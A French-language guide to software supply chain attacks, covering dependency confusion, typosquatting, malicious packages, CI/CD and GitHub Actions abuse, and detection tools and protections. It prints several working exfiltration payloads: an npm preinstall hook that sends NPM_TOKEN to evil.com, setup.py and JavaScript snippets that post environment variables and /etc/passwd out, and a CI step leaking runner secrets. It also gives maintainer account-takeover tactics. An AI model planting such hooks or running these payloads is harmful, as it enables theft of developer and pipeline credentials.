| name | supply-chain-attacks |
| description | Guide complet d'attaques Supply Chain logicielle — dependency confusion, typosquatting, CI/CD pipeline attack, malicious packages, dependency hijacking, et outils. |
| category | cybersecurite |
| tags | ["supply-chain","dependency","npm","pip","typosquatting","dependency-confusion","ci-cd","github-actions"] |
Attaques Supply Chain (Chaîne d'Approvisionnement Logicielle)
Sommaire
- Concepts
- Dependency Confusion
- Typosquatting
- Malicious Packages
- CI/CD Pipeline Attacks
- Dependency Hijacking
- GitHub Actions Abuse
- Package Manager Exploitation
- Reproducible Builds Attacks
- Outils
Concepts
La supply chain logicielle représente l'ensemble des dépendances, outils et processus
utilisés pour construire un logiciel. Chaque maillon est une surface d'attaque.
Vecteurs d'attaque principaux :
- Dependency confusion : usurpation de noms de packages internes
- Typosquatting : noms proches de packages populaires
- Malicious packages : packages piégés dans le registre
- CI/CD compromise : attaque sur la pipeline de build
- Maintainer account takeover : vol de compte mainteneur
- Compromised build tools : outils de build infectés
Dependency Confusion
L'attaquant publie un package public avec le même nom qu'un package privé utilisé
par la cible. Le gestionnaire de packages télécharge le public (priorité plus haute).
Scénario :
Entreprise utilise : npm install @acme/internal-lib
Mais @acme/internal-lib est PRIVÉ (registry interne)
Attaquant publie @acme/internal-lib sur npm PUBLIC
Prochain npm install → télécharge la version publique malveillante
Test de vulnérabilité :
npm view @company/package-name
pip download company-package
npm pack --dry-run
grep -r "@company/" package.json
Exploitation automatisée :
#!/bin/bash
for pkg in $(grep -oP '"[^"]+":\s*"[^"]+"' package.json | grep -v 'npmjs'); do
pkg_name=$(echo $pkg | cut -d'"' -f2)
npm view "$pkg_name" > /dev/null 2>&1
if [ $? -ne 0 ]; then
echo "[+] Potentiel dependency confusion: $pkg_name"
fi
done
Payload de package malveillant (npm) :
{
"name": "@bigbank/auth-lib",
"version": "1.0.0",
"scripts": {
"preinstall": "node -e \"require('child_process').execSync('curl http://evil.com/steal?token='+process.env.NPM_TOKEN)\"",
"postinstall": "node payload.js"
}
}
Typosquatting
Publier un package avec un nom très proche d'un package populaire.
Techniques de typosquatting :
express → exspress
lodash → lodahs
moment → monent
babel-core → babel-core-fix
python3 → pythn3
requests → requestes
Détection de typosquatting :
pip install confused
confused --path /path/to/project
grep -r "^import " *.py | grep -v "import os\|import sys\|import re"
Malicious Packages
Packages qui contiennent du code malveillant (data exfiltration, backdoor, RAT).
Patterns de packages malveillants :
const http = require('http');
const env = JSON.stringify(process.env);
const fs = require('fs');
const files = fs.readdirSync('/home');
http.get(`http://evil.com/exfil?env=${Buffer.from(env).toString('base64')}&files=${files}`);
import os
import requests
from setuptools import setup
env_data = open("/etc/passwd").read() + "\n" + os.popen("env").read()
requests.post("http://evil.com/collect", data=env_data)
setup(
name="legitimate-package",
version="1.0.0",
packages=["legitimate"],
)
Détection de packages malveillants :
npm audit
npm audit --json | jq '.advisories'
npm pack <package> && tar -xzf <package>.tgz && grep -r "exec\|eval\|child_process\|request\|http\." package/
pip install pypi-audit
pypi-audit scan
pip install guarddog
guarddog scan /path/to/project/requirements.txt
CI/CD Pipeline Attacks
Attaquer la pipeline de build/déploiement pour injecter du code malveillant.
Attaques courantes :
1. Poisoned Pipeline Execution (PPE) :
steps:
- run: echo "${{ github.event.issue.title }}" | bash
2. Secret exfiltration via CI :
steps:
- name: Build
run: |
npm install
npm run build
# L'attaquant modifie un package pour exfiltrer ${{ secrets.AWS_KEY }}
3. Self-hosted runner compromise :
steps:
- name: Exfil
run: |
curl -X POST http://evil.com/steal \
-H "Content-Type: application/json" \
-d "{\"runner\": \"$(cat /etc/hostname)\", \"env\": \"$(env)\"}"
Test de sécurité CI/CD :
gh api repos/:owner/:repo/actions/permissions
gh secret list
gh api repos/:owner/:repo/actions/runners
Dependency Hijacking
Prendre le contrôle d'une dépendance existante.
Techniques :
1. Account takeover :
- Trouver les mainteneurs avec des emails sur des domaines expirés
- Attaquer par credential stuffing
- Social engineering sur le mainteneur
2. Package abandonment :
- Trouver des packages populaires non maintenus (abandonware)
- Demander les droits de publish
- Publier une version malveillante
3. Version squatting :
npm publish package@1.2.4 --tag latest
GitHub Actions Abuse
Détournement de workflow :
name: CI
on:
pull_request_target:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install
Exploitation :
Le workflow `pull_request_target` s'exécute dans le contexte de la branche
cible (main) avec les secrets. Si la PR modifie package.json ou les scripts,
le code malveillant est exécuté AVEC les secrets.
Package Manager Exploitation
npm :
npm audit signatures
npm query ":attr(scripts, [postinstall])"
npm ls --all | grep -v "deduped"
pip :
pip install --require-hashes -r requirements.txt
pip freeze | while read pkg; do
name=$(echo $pkg | cut -d'=' -f1)
pip show $name | grep Home-page
done
Docker :
docker scout quicktest image:latest
trivy image --severity CRITICAL image:latest
Outils
Dependency confusion scanners :
git clone https://github.com/visma-prodsec/confused.git
cd confused
python3 confused.py --project /path/to/project --package-manager npm
grep -r "private\|internal\|@company" package.json requirements.txt
Malicious package detectors :
pip install guarddog
guarddog scan requirements.txt
guarddog verify mypackage==1.0.0
dotnet tool install --global OSSGadget
oss-characteristics nuget-package MyPackage.nupkg
CI/CD security scanners :
pip install trufflehog
trufflehog github --repo https://github.com/company/repo
gitleaks detect --source /path/to/repo
pip install checkov
checkov -d . --framework github_actions
Runtime detection :
falco
pip install pip-audit
pip-audit --desc on
npm audit --production
Protections
- Lock files (package-lock.json, requirements.txt avec hash)
- Private registry (Verdaccio, AWS CodeArtifact, GitHub Packages)
- Signature verification (npm audit signatures, SLSA)
- Dependency pinning (versions exactes, pas de ranges)
- CI/CD least privilege (ne pas donner tous les secrets aux PR)
- Renovate/Dependabot avec auto-merge désactivé
- Dependency review dans les PR GitHub
- Software Bill of Materials (SBOM) :
cyclonedx-bom
Ressources